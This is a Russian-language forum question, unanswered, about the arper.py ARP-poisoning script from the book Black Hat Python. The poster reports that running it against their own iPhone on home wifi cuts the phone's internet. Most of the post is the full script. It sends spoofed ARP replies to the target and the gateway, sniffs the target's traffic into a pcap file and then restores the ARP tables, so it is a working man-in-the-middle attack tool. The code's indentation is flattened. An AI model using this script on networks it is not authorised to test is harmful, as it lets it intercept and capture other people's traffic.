Arper.py Black Hay Python блокирует доступ в интернет

Поэтому я пытался отравить ARP моего iPhone, который был подключен к моему wifi дома, проблема в том, что когда я запускаю arper.py, он, кажется, работает без ошибок, но на моем iPhone интернет просто не работает, все идет вернуться к нормальному состоянию, когда я закрываю arper.py

Я изменил target-ip и gateway-ip на iphone ip в сети (с nmap) и шлюз по умолчанию от ipconfig, интерфейс - это мой сетевой адаптер

arper.py:

from scapy.all import *
import os
import sys
import threading

interface    = "Killer E2200 Gigabit Ethernet Controller"
target_ip    = "192.168.0.101"
gateway_ip   = "192.168.0.1"
packet_count = 1000
poisoning    = True

def restore_target(gateway_ip,gateway_mac,target_ip,target_mac):

# slightly different method using send
print "[*] Restoring target..."
send(ARP(op=2, psrc=gateway_ip, pdst=target_ip,         
hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count=5)
send(ARP(op=2, psrc=target_ip, pdst=gateway_ip,     
hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac),count=5)

def get_mac(ip_address):

responses,unanswered = 
srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address),timeout=2,retry=10)

# return the MAC address from a response
for s,r in responses:
    return r[Ether].src

return None

def poison_target(gateway_ip,gateway_mac,target_ip,target_mac):
global poisoning

poison_target = ARP()
poison_target.op   = 2
poison_target.psrc = gateway_ip
poison_target.pdst = target_ip
poison_target.hwdst= target_mac

poison_gateway = ARP()
poison_gateway.op   = 2
poison_gateway.psrc = target_ip
poison_gateway.pdst = gateway_ip
poison_gateway.hwdst= gateway_mac

print "[*] Beginning the ARP poison. [CTRL-C to stop]"

while poisoning:
    send(poison_target)
    send(poison_gateway)

    time.sleep(2)

print "[*] ARP poison attack finished."

return

# set our interface
conf.iface = interface

# turn off output
conf.verb  = 0

print "[*] Setting up %s" % interface

gateway_mac = get_mac(gateway_ip)

if gateway_mac is None:
print "[!!!] Failed to get gateway MAC. Exiting."
sys.exit(0)
else:
print "[*] Gateway %s is at %s" % (gateway_ip,gateway_mac)

target_mac = get_mac(target_ip)

if target_mac is None:
print "[!!!] Failed to get target MAC. Exiting."
sys.exit(0)
else:
print "[*] Target %s is at %s" % (target_ip,target_mac)

# start poison thread
poison_thread = threading.Thread(target=poison_target, args=(gateway_ip,             
gateway_mac,target_ip,target_mac))
poison_thread.start()

try:
print "[*] Starting sniffer for %d packets" % packet_count

bpf_filter  = "ip host %s" % target_ip
packets = sniff(count=packet_count,filter=bpf_filter,iface=interface)

except KeyboardInterrupt:
pass

finally:
# write out the captured packets
print "[*] Writing packets to arper.pcap"
wrpcap('arper.pcap',packets)

poisoning = False

# wait for poisoning thread to exit
time.sleep(2)

# restore the network
restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
sys.exit(0)

0 ответов

Другие вопросы по тегам